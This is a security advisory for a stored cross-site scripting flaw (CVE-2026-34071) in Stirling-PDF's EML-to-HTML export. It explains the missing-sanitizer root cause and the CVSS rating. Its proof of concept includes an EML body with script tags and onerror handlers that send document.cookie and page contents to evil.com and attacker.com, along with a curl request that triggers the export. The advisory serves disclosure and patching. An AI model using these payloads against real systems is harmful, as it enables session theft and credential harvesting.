Skip to content

Stored Cross Site Scripting (XSS) via EML-to-HTML Export

Moderate
Frooodle published GHSA-xmhg-fv84-jgfc Mar 25, 2026

Package

maven stirling-pdf (Maven)

Affected versions

2.7.3

Patched versions

2.8.0

Description

Summary

The /api/v1/convert/eml/pdf endpoint with parameter downloadHtml=true returns unsanitized HTML from the email body with Content-Type: text/html. An attacker who sends a malicious email to a Stirling-PDF user can achieve JavaScript execution when that user exports the email using the "Download HTML intermediate file" feature.

Details

CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting)

When downloadHtml=true is set, ConvertEmlToPDF.java (line ~84) calls:

String htmlContent = EmlToPdf.convertEmlToHtml(fileBytes, request);

This overload of convertEmlToHtml passes null as the CustomHtmlSanitizer parameter throughout the call chain:

// EmlToPdf.java
public static String convertEmlToHtml(byte[] emlBytes, EmlToPdfRequest request) {
    EmlParser.EmailContent emailContent =
            EmlParser.extractEmailContent(emlBytes, request, null);  // no sanitizer
    return EmlProcessingUtils.generateEnhancedEmailHtml(emailContent, request, null);
}

In EmlProcessingUtils.java (line ~235), when the sanitizer is null, the raw HTML body is returned without processing:

String processed =
    customHtmlSanitizer != null ? customHtmlSanitizer.sanitize(htmlBody) : htmlBody;
//                                                                          ^^^^^^^^
//                                                           raw unsanitized HTML body

The response is sent with Content-Type: text/html, allowing the browser to execute any JavaScript contained in the email body when the file is opened.

Note: Email metadata fields (Subject, From, To) are correctly escaped via escapeHtml() — only the HTML body is affected.

Contrast with the safe path (PDF conversion):

// EmlToPdf.java — PDF path passes the sanitizer correctly
EmlParser.EmailContent emailContent =
        EmlParser.extractEmailContent(emlBytes, request, customHtmlSanitizer);

PoC

  1. Craft malicious EML:
From: attacker@evil.com
To: victim@company.com
Subject: <script>alert('XSS-in-subject')</script>
MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
Message-ID: <test@evil.com>
Date: Thu, 20 Mar 2026 10:00:00 +0000

<html><body>
<script>alert('XSS-in-body')</script>
<img src="http://evil.com/tracking-pixel" onerror="fetch('http://evil.com/steal?c='+document.cookie)">
<h1>Normal email content</h1>
<p>Nothing to see here.</p>
</body></html>
  1. Authenticated user uploads the EML and clicks "Download HTML intermediate file instead of PDF" (UI checkbox in the Convert from Email tool):
curl -X POST http://target:8080/api/v1/convert/eml/pdf \
    -H "Authorization: Bearer $TOKEN" \
    -F "fileInput=@malicious.eml;type=message/rfc822" \
    -F "downloadHtml=true" \
    -o output.html
  1. Response contains unescaped JavaScript:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Disposition: form-data; name="attachment"; filename="malicious.eml.html"

<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
<img src="x" onerror="fetch('https://attacker.com/exfil?d='+document.body.innerHTML)">
  1. When the user opens the downloaded .html file in a browser, the JavaScript executes.

Impact

  • JavaScript execution — <script> tags and event handlers in the email body execute unconditionally when the file is opened
  • Internal network access — and fetch() requests originate from the victim's browser, reaching intranet services not exposed to the internet
  • Credential harvesting — the full HTML renders, enabling convincing phishing forms targeting Stirling-PDF or SSO credentials

Conditions

  1. Attacker must be able to send email to a Stirling-PDF user (external email sufficient)
  2. Victim must be an authenticated Stirling-PDF user
  3. Victim must use the "Download HTML" export option and open the resulting file
  4. No admin configuration changes required — the feature is enabled by default

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

CVE ID

CVE-2026-34071

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits